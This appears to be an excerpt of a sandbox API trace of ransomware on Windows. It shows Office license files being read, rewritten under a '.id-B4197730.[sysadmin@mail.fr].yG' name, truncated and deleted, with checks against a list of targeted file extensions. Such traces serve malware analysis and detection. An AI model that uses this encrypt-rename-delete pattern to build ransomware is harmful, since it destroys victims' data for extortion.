	[0173.501] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.502] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.502] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.502] SetEndOfFile (hFile=0x478) returned 1
	[0173.502] CloseHandle (hObject=0x478) returned 1
	[0173.502] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.503] SetEndOfFile (hFile=0x570) returned 1
	[0173.505] CloseHandle (hObject=0x570) returned 1
	[0173.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms")) returned 1
	[0173.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.507] lstrlenW (lpString=".doc") returned 4
	[0173.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.507] lstrlenW (lpString=".docx") returned 5
	[0173.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.507] lstrlenW (lpString=".pdf") returned 4
	[0173.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.507] lstrlenW (lpString=".xls") returned 4
	[0173.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.507] lstrlenW (lpString=".xlsx") returned 5
	[0173.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.507] lstrlenW (lpString=".ppt") returned 4
	[0173.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.508] lstrlenW (lpString=".zip") returned 4
	[0173.508] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.508] lstrlenW (lpString=".rar") returned 4
	[0173.508] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.508] lstrlenW (lpString=".bz2") returned 4
	[0173.508] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.508] lstrlenW (lpString=".7z") returned 3
	[0173.508] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.508] lstrlenW (lpString=".dbf") returned 4
	[0173.508] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.508] lstrlenW (lpString=".1cd") returned 4
	[0173.508] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0173.508] lstrlenW (lpString=".jpg") returned 4
	[0173.508] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.509] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11179) returned 1
	[0173.509] CloseHandle (hObject=0x570) returned 1
	[0173.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 0x220
	[0173.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.510] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.510] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.511] GetLastError () returned 0x0
	[0173.511] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0173.517] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.518] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.518] WriteFile (in: hFile=0x478, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.518] SetEndOfFile (hFile=0x478) returned 1
	[0173.518] CloseHandle (hObject=0x478) returned 1
	[0173.518] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.519] SetEndOfFile (hFile=0x570) returned 1
	[0173.526] CloseHandle (hObject=0x570) returned 1
	[0173.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1
	[0173.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.528] lstrlenW (lpString=".doc") returned 4
	[0173.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".docx") returned 5
	[0173.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.528] lstrlenW (lpString=".pdf") returned 4
	[0173.528] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".xls") returned 4
	[0173.528] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".xlsx") returned 5
	[0173.528] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.528] lstrlenW (lpString=".ppt") returned 4
	[0173.528] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.528] lstrlenW (lpString=".zip") returned 4
	[0173.528] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".rar") returned 4
	[0173.528] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".bz2") returned 4
	[0173.528] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.528] lstrlenW (lpString=".7z") returned 3
	[0173.528] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.529] lstrlenW (lpString=".dbf") returned 4
	[0173.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.529] lstrlenW (lpString=".1cd") returned 4
	[0173.529] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82
	[0173.529] lstrlenW (lpString=".jpg") returned 4
	[0173.529] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.529] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=23134) returned 1
	[0173.529] CloseHandle (hObject=0x570) returned 1
	[0173.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 0x220
	[0173.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.531] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.531] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.532] GetLastError () returned 0x0
	[0173.532] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0173.762] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.867] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.868] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.868] SetEndOfFile (hFile=0x364) returned 1
	[0173.868] CloseHandle (hObject=0x364) returned 1
	[0173.868] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.868] SetEndOfFile (hFile=0x570) returned 1
	[0173.872] CloseHandle (hObject=0x570) returned 1
	[0173.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1
	[0173.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.874] lstrlenW (lpString=".doc") returned 4
	[0173.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.874] lstrlenW (lpString=".docx") returned 5
	[0173.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.874] lstrlenW (lpString=".pdf") returned 4
	[0173.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.874] lstrlenW (lpString=".xls") returned 4
	[0173.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.874] lstrlenW (lpString=".xlsx") returned 5
	[0173.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.874] lstrlenW (lpString=".ppt") returned 4
	[0173.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.874] lstrlenW (lpString=".zip") returned 4
	[0173.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.875] lstrlenW (lpString=".rar") returned 4
	[0173.875] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.875] lstrlenW (lpString=".bz2") returned 4
	[0173.875] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.875] lstrlenW (lpString=".7z") returned 3
	[0173.875] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.875] lstrlenW (lpString=".dbf") returned 4
	[0173.875] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.875] lstrlenW (lpString=".1cd") returned 4
	[0173.875] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83
	[0173.875] lstrlenW (lpString=".jpg") returned 4
	[0173.875] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.876] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11179) returned 1
	[0173.876] CloseHandle (hObject=0x570) returned 1
	[0173.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220
	[0173.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.877] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.878] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.879] GetLastError () returned 0x0
	[0173.879] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0173.888] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0173.889] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.890] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.890] SetEndOfFile (hFile=0x364) returned 1
	[0173.890] CloseHandle (hObject=0x364) returned 1
	[0173.890] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.890] SetEndOfFile (hFile=0x570) returned 1
	[0173.893] CloseHandle (hObject=0x570) returned 1
	[0173.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.895] lstrlenW (lpString=".doc") returned 4
	[0173.895] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.895] lstrlenW (lpString=".docx") returned 5
	[0173.895] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.895] lstrlenW (lpString=".pdf") returned 4
	[0173.895] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.895] lstrlenW (lpString=".xls") returned 4
	[0173.895] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.895] lstrlenW (lpString=".xlsx") returned 5
	[0173.895] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.895] lstrlenW (lpString=".ppt") returned 4
	[0173.895] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.895] lstrlenW (lpString=".zip") returned 4
	[0173.895] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.895] lstrlenW (lpString=".rar") returned 4
	[0173.895] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.896] lstrlenW (lpString=".bz2") returned 4
	[0173.896] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.896] lstrlenW (lpString=".7z") returned 3
	[0173.896] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.896] lstrlenW (lpString=".dbf") returned 4
	[0173.896] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.896] lstrlenW (lpString=".1cd") returned 4
	[0173.896] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0173.896] lstrlenW (lpString=".jpg") returned 4
	[0173.896] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.897] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=23134) returned 1
	[0173.897] CloseHandle (hObject=0x570) returned 1
	[0173.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220
	[0173.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.898] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.898] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.900] GetLastError () returned 0x0
	[0173.900] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0173.905] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0173.907] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.908] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0173.908] SetEndOfFile (hFile=0x364) returned 1
	[0173.908] CloseHandle (hObject=0x364) returned 1
	[0173.908] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.908] SetEndOfFile (hFile=0x570) returned 1
	[0173.911] CloseHandle (hObject=0x570) returned 1
	[0173.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1
	[0173.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
